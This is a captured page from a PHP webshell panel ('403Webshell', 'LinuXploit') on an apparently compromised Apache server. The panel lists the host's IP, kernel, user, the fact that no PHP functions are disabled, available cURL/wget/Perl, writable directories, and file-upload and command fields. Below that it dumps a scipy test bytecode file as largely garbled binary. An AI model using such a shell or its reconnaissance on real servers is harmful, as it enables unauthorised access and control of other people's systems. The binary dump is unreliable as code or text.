403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/scipy/optimize/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/scipy/optimize/tests/__pycache__/test_direct.cpython-311.pyc
�

d�c`3��T�dZddlmZmZddlZddlZddlmZm	Z	Gd�d��Z
dS)z.
Unit test for DIRECT optimization algorithm.
�)�assert_allclose�assert_array_lessN)�direct�Boundsc	�b�eZdZd�Zd�Zd�Zd�Zd�Zd�Ze	j
�ddd	g��d
���Ze	j
�ddd	g��d���Z
e	j
�ddd	g��d���Ze	j
�ddd	g��d
���Ze	j
�dddg��e	j
�ddd	g��d�����Ze	j
�dddg��e	j
�ddd	g��d�����Ze	j
�dgd���e	j
�ddd	g��d�����Zd�Ze	j
�ddd	g��d���Ze	j
�ddd	g��d���Ze	j
�ddd	g��d���Ze	j
�ddd	g��d���Ze	j
�ddd	g��e	j
�dgd���d �����Ze	j
je	j
�ddd	g��d!�����Ze	j
�ddd	g��d"���Ze	j
�dd#d$g��d%���Ze	j
�dd#d$g��d&���Ze	j
�dd#d$g��d'���Ze	j
�d(gd)���d*���Ze	j
�d+gd)���d,���Z d-�Z!d.�Z"e	j
�d/gd0���d1���Z#e	j
�d/e$d2d#gd3d4g��e$e%j&d#gd3e%j&g��g��d5���Z'd6�Z(e	j
�dd7d8d8gd9g��d:���Z)d;S)<�
TestDIRECTc��d|_ddgz|_tjd��|_d|_t
ddgddg��|_d|_dS)	Nr�)�����r
�g�g@��)	�	fun_calls�
bounds_sphere�np�zeros�optimum_sphere_pos�optimum_spherer�bounds_stylinski_tang�maxiter)�selfs �B/usr/lib/python3/dist-packages/scipy/optimize/tests/test_direct.py�setup_methodzTestDIRECT.setup_method
sT�������y�[���"$�(�5�/�/���!���%+�S�#�J��R��%A�%A��"������c�n�|xjdz
c_tj|�����S)N�)rr�square�sum�r�xs  r�spherezTestDIRECT.spheres,�����!�����y��|�|���!�!�!rc�|�tj|��dkrt���dtj|��zS�Nrr)rr�ZeroDivisionErrorr s  r�invzTestDIRECT.invs1��
�6�!�9�9��>�>�#�%�%�%�������{�rc��tjS�N)r�nanr s  r�nan_funzTestDIRECT.nan_fun�	���v�
rc��tjSr()r�infr s  r�inf_funzTestDIRECT.inf_fun"r+rc�d�|\}}d|dzd|dzzz
d|zz|dzzd|dzzz
d|zzzS)Ng�?r
����)r�posr!�ys    r�styblinski_tangzTestDIRECT.styblinski_tang%sO�����1��a��d�R�!�Q�$�Y�&��Q��.��A��5��Q��T�	�A�A��E�I�J�Jr�locally_biasedTFc���t|j|j|���}t|j|jdd���t|j|jdd���tj	|j��}t|dd�df|j��t|j|dd�df��|jdt|j��dzzksJ�|j|j
ksJ�|j|jksJ�dS)	N�r7���MbP?��rtol�atol��h㈵��>�r=r<rrr)rr"rrr!r�funrr�asarrayr�nfev�lenr�nitr)rr7�res�_boundss    r�test_directzTestDIRECT.test_direct)s���T�[�$�"4�$2�4�4�4��	���t�6�!��	.�	.�	.�	.�����!4�4�d�K�K�K�K��*�T�/�0�0���'�!�!�!�Q�$�-���/�/�/��#�%�����A���/�/�/��x�4�3�t�'9�#:�#:�Q�#>�?�?�?�?�?��x�4�>�)�)�)�)��w�$�,�&�&�&�&�&�&rc�2�t|j|j|���}d�}t|j|j||���}t|j|j��|j|jksJ�|j|jksJ�|j|jksJ�|j|jksJ�|j	|j	ksJ�t|j|j��|j
|j
ksJ�t|j|jdd���t|j	|jdd���dS)Nr9c�V�d|z}tj|��}td��|S)Nr1z+DIRECT minimization algorithm callback test)rr�print)r!�dummys  r�callbackz1TestDIRECT.test_direct_callback.<locals>.callbackGs,���!��A��I�a�L�L�E��?�@�@�@��Lr)r7rLr:r;r>r?)
rr"rrr!rDrB�status�successr@�messagerr)rr7rErL�res_callbacks     r�test_direct_callbackzTestDIRECT.test_direct_callbackAs]���T�[�$�"4�$2�4�4�4��	�	�	��d�k�4�+=�-;�'/�1�1�1��	���|�~�.�.�.��w�,�*�*�*�*�*��x�<�,�,�,�,�,��z�\�0�0�0�0�0��{�l�2�2�2�2�2��w�,�*�*�*�*�*����|�~�.�.�.��{�l�2�2�2�2�2�	����(?�!��	.�	.�	.�	.���(�$�*=�!��	.�	.�	.�	.�	.�	.rc��ddgz}tjt��5t|j||���ddd��dS#1swxYwYdS�Nr
)i�����
)�boundsr7)�pytest�raisesr%rr&�rr7rUs   r�test_exceptionzTestDIRECT.test_exceptionas����I�;���
�]�,�
-�
-�	2�	2��4�8�F�"0�
2�
2�
2�
2�	2�	2�	2�	2�	2�	2�	2�	2�	2�	2�	2�	2����	2�	2�	2�	2�	2�	2s�A�A	�A	c�@�ddgz}t|j||���dSrS)rr*rXs   r�test_nanzTestDIRECT.test_nanhs7���I�;����t�|�F�,�	.�	.�	.�	.�	.�	.r�len_tolr:�-C��6?c���ddgz}t|j||d|���}|jdksJ�|jsJ�t	|jt
jd����d|��}|j|ksJ�dS)Nr
�g$��$@g���KH�9)rUr\�vol_tolr7r2r
zjThe side length measure of the hyperrectangle containing the lowest function value found is below len_tol=�	rr"rMrNrr!rrrO)rr\r7rUrErOs      r�test_len_tolzTestDIRECT.test_len_tolns����K�=����T�[���"�>�C�C�C���z�Q������{�������r�x����/�/�/�(�%�(�(���{�g�%�%�%�%�%�%rra���ư>g:�0�yE>c���ddgz}t|j||d|���}|jdksJ�|jsJ�t	|jt
jd����d|��}|j|ksJ�dS)Nr
r_r)rUrar\r7r
z]The volume of the hyperrectangle containing the lowest function value found is below vol_tol=rb)rrar7rUrErOs      r�test_vol_tolzTestDIRECT.test_vol_tol|s����K�=����T�[�����@�@�@���z�Q������{�������r�x����/�/�/�F�<C�F�F���{�g�%�%�%�%�%�%r�
f_min_rtol)r:r>gH�����z>c��d}ddgz}t|j||||���}|jdksJ�|jsJ�|j|d|zzksJ�d|�d�}|j|ksJ�dS)N��?r
)��r`)rU�f_minrgr7rz9The best function value found is within a relative error=z$ of the (known) global optimum f_min)rr"rMrNr@rO)rrgr7rkrUrErOs       r�
test_f_minzTestDIRECT.test_f_min�s���
���J�<����T�[��u� *�$2�4�4�4���z�Q������{�����w��"�z�/�2�2�2�2�2�M�&�M�M�M���{�g�%�%�%�%�%�%rc��tj|d|z
��tj|d|z
�����zSr$)rrr)rr!�a�bs    r�circle_with_argszTestDIRECT.circle_with_args�s=���y��1����"�"�R�Y�q��t�a�x�%8�%8�%<�%<�%>�%>�>�>rc��ddgz}t|j|dd|���}t|jt	jddg��d���dS)	Nr1)rj�@)rri�)�args�maxfunr7rir>�r<)rrprr!r�array)rr7rUrEs    r�test_f_circle_with_argsz"TestDIRECT.test_f_circle_with_args�sZ���K�=����T�*�F���$2�4�4�4�����r�x��R��1�1��=�=�=�=�=�=rc��d}t|j|j||���}|jdusJ�|jdksJ�|j|ksJ�d|��}|j|ksJ�dS)N�d)rtr7Frz:Number of function evaluations done is larger than maxfun=)rr6rrNrMrBrO)rr7rt�resultrOs     r�test_failure_maxfunzTestDIRECT.test_failure_maxfun�s���
����,�d�.H�%�n�F�F�F���~��&�&�&�&��}��!�!�!�!��{�f�$�$�$�$�2�)/�2�2���~��(�(�(�(�(�(rc��d}t|j|j||���}|jdusJ�|jdksJ�|j|ksJ�d|��}|j|ksJ�dS)NrT)rr7Fr1z,Number of iterations is larger than maxiter=)rr6rrNrMrDrO)rr7rrzrOs     r�test_failure_maxiterzTestDIRECT.test_failure_maxiter�s���
����,�d�.H� '��H�H�H���~��&�&�&�&��}��!�!�!�!��z�W�$�$�$�$�J��J�J���~��(�(�(�(�(�(rc���gd�}gd�}tjgd���}tt||����}t	||��}t|j||���}t|j||���}|j|jksJ�|j|jksJ�|j	|j	ksJ�|j
|j
ksJ�t|j|j��t|j|d���dS)N)g�ri��)��g@�@)r�rirr9g{�G�z�?ru)
rrv�list�ziprrr"rBrOrNrDrr!)	rr7�lb�ub�x_opt�
bounds_old�
bounds_new�res_old_bounds�res_new_boundss	         r�test_bounds_variantszTestDIRECT.test_bounds_variants�s���^�^��
�]�]�������'�'���#�b�"�+�+�&�&�
��B��^�^�
����Z�/=�?�?�?�����Z�/=�?�?�?���"�n�&9�9�9�9�9��%��)?�?�?�?�?��%��)?�?�?�?�?��!�^�%7�7�7�7�7���(�.�*:�;�;�;���(�%�d�;�;�;�;�;�;r�eps)r>r]r:c�n�t|j|j|d|���}|jdksJ�|jsJ�dS)Nrd)r�rar7r
)rr6rrMrN)rr�r7rzs    r�test_epsilonzTestDIRECT.test_epsilon�sS����,�d�.H���'5�7�7�7���}��!�!�!�!��~�����rc�L�dgdz}t|j|dd|���}|�J�dS)N)rg4@ryi���i@B)rtrr7)rr"�rr7rUrzs    r�test_no_segmentation_faultz%TestDIRECT.test_no_segmentation_fault�sF��
���#�����V�H� '��H�H�H���!�!�!�!�!rc�H�dgdz}t|j||���}|�J�dS)N)rr�r1r9)rr.r�s    r�test_inf_funzTestDIRECT.test_inf_fun�s>����q������f�'5�7�7�7���!�!�!�!�!r���r1c��d}tjt|���5t|j|j|���ddd��dS#1swxYwYdS)Nz len_tol must be between 0 and 1.��match)r\�rVrW�
ValueErrorrr6r)rr\�	error_msgs   r�test_len_tol_validationz"TestDIRECT.test_len_tol_validation����6�	�
�]�:�Y�
7�
7�
7�	$�	$��4�'��)C�"�
$�
$�
$�
$�	$�	$�	$�	$�	$�	$�	$�	$�	$�	$�	$�	$����	$�	$�	$�	$�	$�	$��A�A�Ac��d}tjt|���5t|j|j|���ddd��dS#1swxYwYdS)Nz vol_tol must be between 0 and 1.r�)rar�)rrar�s   r�test_vol_tol_validationz"TestDIRECT.test_vol_tol_validation�r�r�c��d}tjt|���5t|j|j|d���ddd��dS#1swxYwYdS)Nz#f_min_rtol must be between 0 and 1.r�r)rgrkr�)rrgr�s   r�test_fmin_rtol_validationz$TestDIRECT.test_fmin_rtol_validations���9�	�
�]�:�Y�
7�
7�
7�	4�	4��4�'��)C�(��
4�
4�
4�
4�	4�	4�	4�	4�	4�	4�	4�	4�	4�	4�	4�	4����	4�	4�	4�	4�	4�	4s�A	�	A
�A
rt)g�?�string)rr1c��d}tjt|���5t|j|j|���ddd��dS#1swxYwYdS)Nzmaxfun must be of type int.r��rtr�)rrtr�s   r�test_maxfun_wrong_typez!TestDIRECT.test_maxfun_wrong_types���1�	�
�]�:�Y�
7�
7�
7�	"�	"��4�'��)C� �
"�
"�
"�
"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"����	"�	"�	"�	"�	"�	"r�rc��d}tjt|���5t|j|j|���ddd��dS#1swxYwYdS)Nzmaxiter must be of type int.r��rr�)rrr�s   r�test_maxiter_wrong_typez"TestDIRECT.test_maxiter_wrong_types���2�	�
�]�:�Y�
7�
7�
7�	$�	$��4�'��)C�"�
$�
$�
$�
$�	$�	$�	$�	$�	$�	$�	$�	$�	$�	$�	$�	$����	$�	$�	$�	$�	$�	$r�c��d}tjt|���5t|j|jd���ddd��dS#1swxYwYdS)Nzmaxiter must be > 0.r�r�r�r��rr�s  r�test_negative_maxiterz TestDIRECT.test_negative_maxiters���*�	�
�]�:�Y�
7�
7�
7�	�	��4�'��)C��
�
�
�
�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	r�c��d}tjt|���5t|j|jd���ddd��dS#1swxYwYdS)Nzmaxfun must be > 0.r�r�r�r�r�s  r�test_negative_maxfunzTestDIRECT.test_negative_maxfuns���)�	�
�]�:�Y�
7�
7�
7�	�	��4�'��)C��
�
�
�
�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	r�rU)rUrrrc��d}tjt|���5t|j|��ddd��dS#1swxYwYdS)Nz5bounds must be a sequence or instance of Bounds classr��rVrWr�rr6�rrUr�s   r�test_invalid_bounds_typez#TestDIRECT.test_invalid_bounds_type"s���0�	�
�]�:�Y�
7�
7�
7�	1�	1��4�'��0�0�0�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1����	1�	1�	1�	1�	1�	1��A�A�Ar�rrc��d}tjt|���5t|j|��ddd��dS#1swxYwYdS)Nz#Bounds are not consistent min < maxr�r�r�s   r�test_incorrect_boundsz TestDIRECT.test_incorrect_bounds)s���:�	�
�]�:�Y�
7�
7�
7�	1�	1��4�'��0�0�0�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1����	1�	1�	1�	1�	1�	1r�c���d}ttjdgdtjg��}tjt
|���5t
|j|��ddd��dS#1swxYwYdS)NzBounds must not be inf.r�rr�)rrr-rVrWr�rr6)rr�rUs   r�test_inf_boundszTestDIRECT.test_inf_bounds3s���-�	��"�&��"�
��B�F�|�4�4��
�]�:�Y�
7�
7�
7�	1�	1��4�'��0�0�0�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1�	1����	1�	1�	1�	1�	1�	1s�A*�*A.�1A.�biasrrrc��d}tjt|���5t|j|j|���ddd��dS#1swxYwYdS)Nz%locally_biased must be True or False.r�r9r�)rr7r�s   r�test_locally_biased_validationz)TestDIRECT.test_locally_biased_validation9s���;�	�
�]�:�Y�
7�
7�
7�	2�	2��4�'��)C�"0�
2�
2�
2�
2�	2�	2�	2�	2�	2�	2�	2�	2�	2�	2�	2�	2����	2�	2�	2�	2�	2�	2r�N)*�__name__�
__module__�__qualname__rr"r&r*r.r6rV�mark�parametrizerGrQrYr[rcrfrlrprwr{r}r�r��xslowr�r�r�r�r�r�r�r�r�r�rrr)r�r�r�r3rrrrs����������"�"�"����
������K�K�K��[���-��e�}�=�=�'�'�>�=�'�.�[���-��e�}�=�=�.�.�>�=�.�>�[���-��e�}�=�=�2�2�>�=�2��[���-��e�}�=�=�.�.�>�=�.�
�[���Y��t��5�5��[���-��e�}�=�=�
&�
&�>�=�6�5�
&��[���Y��t��5�5��[���-��e�}�=�=�	&�	&�>�=�6�5�	&��[���\�+=�+=�+=�>�>��[���-��e�}�=�=�
&�
&�>�=�?�>�
&�?�?�?��[���-��e�}�=�=�>�>�>�=�>��[���-��e�}�=�=�)�)�>�=�)��[���-��e�}�=�=�)�)�>�=�)��[���-��e�}�=�=�<�<�>�=�<�*�[���-��e�}�=�=��[���U�$6�$6�$6�7�7���8�7�>�=���[���[���-��e�}�=�=�"�"�>�=���"��[���-��e�}�=�=�"�"�>�=�"��[���Y��Q��0�0�$�$�1�0�$��[���Y��Q��0�0�$�$�1�0�$��[���\�B��7�3�3�4�4�4�3�4��[���X�'>�'>�'>�?�?�"�"�@�?�"��[���Y�(?�(?�(?�@�@�$�$�A�@�$��������[���X�'8�'8�'8�9�9�1�1�:�9�1��[���X�$�f�c�2�Y��Q��8�8�$�f�r�v�g�r�]�R���L�A�A� ���
1�1���
1�
1�1�1��[���-���A���/C�D�D�2�2�E�D�2�2�2rr)�__doc__�
numpy.testingrrrV�numpyr�scipy.optimizerrrr3rr�<module>r�s�����.�.�.�.�.�.�.�.�
�
�
�
�����)�)�)�)�)�)�)�)�s2�s2�s2�s2�s2�s2�s2�s2�s2�s2r

Youez - 2016 - github.com/yon3zu
LinuXploit